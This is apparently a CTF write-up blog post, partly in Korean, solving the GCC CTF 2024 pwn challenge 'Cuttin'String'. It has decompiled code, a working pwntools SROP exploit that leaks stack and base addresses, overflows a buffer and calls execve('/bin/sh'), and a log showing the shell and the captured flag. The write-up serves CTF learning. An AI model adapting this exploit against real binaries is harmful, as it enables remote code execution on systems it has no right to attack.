GCC CTF 2024 – Pwn/Cuttin’String

    Description

    I made the lightest string cutting tool!

    Some people reported bugs, but anyway you can’t exploit them as there is no libc.

    Author: Drahoxx

    nc challenges1.gcc-ctf.com 4004

    checksec

    seo@seo:~/Documents/gcc_ctf_2024/Cuttin_String$ checksec ./chall
    [!] Did not find any GOT entries
    [*] '/home/seo/Documents/gcc_ctf_2024/Cuttin_String/chall'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled

    Decompiled-src

    start

    void __fastcall __noreturn start(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
    {
      int v6; // edx
      int v7; // ecx
      int v8; // r8d
      int v9; // r9d
    
      PUTS(
        a1,
        a2,
        a3,
        a4,
        a5,
        a6,
        0LL,
        (__int64)"\nCuttin'String, the smallest string cutting tool\n-----------------------------------------------\n");
      while ( 1 )
        main_loop(a1, a2, v6, v7, v8, v9);
    }

    main_loop

    __int64 __fastcall main_loop(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
    {
      __int64 v6; // rdx
      __int64 v7; // rcx
      __int64 v8; // r8
      __int64 v9; // r9
      __int64 v10; // rdx
      __int64 v11; // rcx
      __int64 v12; // r8
      __int64 v13; // r9
    
      PUTS(a1, a2, a3, a4, a5, a6, 0LL, (__int64)"Enter the length of the string (in decimal) > ");
      get_len_str();
      PUTS(a1, a2, v6, v7, v8, v9, 0LL, (__int64)"Enter the string to cut > ");
      read_and_print_str();
      return PUTS(a1, a2, v10, v11, v12, v13, 0LL, (__int64)"\n\n---\n");
    }

    get_len_str

    __int64 get_len_str()
    {
      __int64 v0; // r8
      __int64 v1; // r9
      __int64 v2; // r10
      __int64 i; // rcx
      __int64 result; // rax
      signed __int64 v5; // rax
      char v6[8]; // [rsp+0h] [rbp-8h] BYREF
    
      _LOAD_SYS_READ();
      __asm { syscall; LINUX - }
      v2 = 0LL;
      for ( i = 0LL; i != 8; ++i )
      {
        result = (unsigned __int8)v6[i];
        if ( !(_BYTE)result || (_BYTE)result == 10 )
          break;
        if ( (unsigned __int8)result < 0x30u || (unsigned __int8)result > 0x39u )
        {
          PUTS(0LL, (__int64)v6, 8LL, i, v0, v1, 0LL, (__int64)"Error. Enter a number in decimal.\n");
          v5 = sys_exit(0);
        }
        if ( i )
          v2 *= 10LL;
        result -= 48LL;
        v2 += result;
      }
      return result;
    }

    _LOAD_SYS_WRITE

    gdb-peda$ disas __LOAD_SYS_WRITE
    Dump of assembler code for function __LOAD_SYS_WRITE:
       0x0000555555555004 <+0>:     xor    rax,rax
       0x0000555555555007 <+3>:     mov    edi,0x1
       0x000055555555500c <+8>:     inc    al
       0x000055555555500e <+10>:    ret
    End of assembler dump.

    _LOAD_SYS_READ

    gdb-peda$ disas __LOAD_SYS_READ
    Dump of assembler code for function __LOAD_SYS_READ:
       0x0000555555555000 <+0>:     xor    rax,rax
       0x0000555555555003 <+3>:     ret
    End of assembler dump.

    read_and_print_str

    __int64 read_and_print_str()
    {
      __int64 v0; // rcx
      __int64 v1; // r8
      __int64 v2; // r9
      __int64 v3; // r10
      _BYTE v5[512]; // [rsp+0h] [rbp-200h] BYREF
    
      _LOAD_SYS_READ();
      __asm { syscall; LINUX - }
      return PUTS(0LL, (__int64)v5, 1298LL, v0, v1, v2, v3, (__int64)v5);
    }

    Solution

    1. get_len_str 함수에서 입력받을 길이를 500이상으로 해서, 스택의 임의주소를 노출시켜 read_and_print_str에서의 v5 스택 주소를 계산한다. 또, chall 바이너리의 text base 주소 또한 구할 수 있다.
    2. read_and_print_str 함수를 통해 버퍼 오버플로우를 발생시켜 srop으로 쉘을 획득하면 된다.
      read_and_print_str의 v5에 저장될 버퍼에는 “/bin/sh\x00” 문자열을 채우고, srop 페이로드를 통해 rip가 이동되게끔 만들면 된다. 이동되기전에 rax가 SYS_rt_sigreturn 시스템콜 번호인 15여야 하는데, 이는 _LOAD_SYS_WRITE에 있는 어셈블리 코드인 inc al을 이용하면 된다.

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    #p = process("./chall")
    p = remote("challenges1.gcc-ctf.com", 4004)
    e = ELF('./chall')
    
    p.sendlineafter("Enter the length of the string (in decimal) > ", "500")
    p.sendlineafter("Enter the string to cut > ", "0")
    
    p.recv(0xb8)
    pht_entry_0 = u64(p.recv(8))
    print(f"pht_entry: {hex(pht_entry_0)}")
    chall_base = pht_entry_0 - 0x40
    print(f"chall_base: {hex(chall_base)}")
    p.recv(120)
    unk = u64(p.recv(8))
    print(f"unk? {hex(unk)}")
    bin_sh_address = unk - (0x208) #-0x4e1
    #bin_sh_address = unk  - (0x4e1 - 0x8*35 - 11)
    print(f"bin_sh_address? {hex(bin_sh_address)}")
    
    p.sendlineafter("Enter the length of the string (in decimal) > ", "0")
    
    bin_sh = b"/bin/sh\x00"*50
    payload = b''
    payload += bin_sh + b'\x41'*(512-len(bin_sh))
    payload += b"A"*8
    syscall = chall_base + 0x1034
    
    # Make rax to SYS_rt_sigreturn, 15
    payload += p64(chall_base + e.symbols['__LOAD_SYS_WRITE'])
    for i in range(15-1):
        payload += p64(chall_base + e.symbols['__LOAD_SYS_WRITE'] + 0x8)
    #syscall
    payload += p64(syscall)
    # execve("/bin/sh", 0, 0)
    frame2 = SigreturnFrame()
    frame2.rip = syscall
    frame2.rax = 0x3b # execve
    frame2.rsp = chall_base + 0x3fb0
    frame2.rdi = bin_sh_address
    payload += bytes(frame2)
    payload += bin_sh
    
    #pause()
    p.sendlineafter("Enter the string to cut > ", payload)
    
    #pause()
    
    p.interactive()

    Result

    seo@seo:~/Documents/gcc_ctf_2024/Cuttin_String$ python3 solve.py
    [+] Opening connection to challenges1.gcc-ctf.com on port 4004: Done
    [!] Did not find any GOT entries
    [*] '/home/seo/Documents/gcc_ctf_2024/Cuttin_String/chall'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled
    pht_entry: 0x5629a4e6a040
    chall_base: 0x5629a4e6a000
    unk? 0x7ffdf0bd11f0
    bin_sh_address? 0x7ffdf0bd0fe8
    [*] Switching to interactive mode
    $ ls
    flag.txt
    pwn
    $ cat flag.txt
    GCC{SR0p_1s_f0r_Sup3r_R0P_Right?}
    $
    [*] Interrupted
    [*] Closed connection to challenges1.gcc-ctf.com port 4004

    FLAG

    GCC{SR0p_1s_f0r_Sup3r_R0P_Right?}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다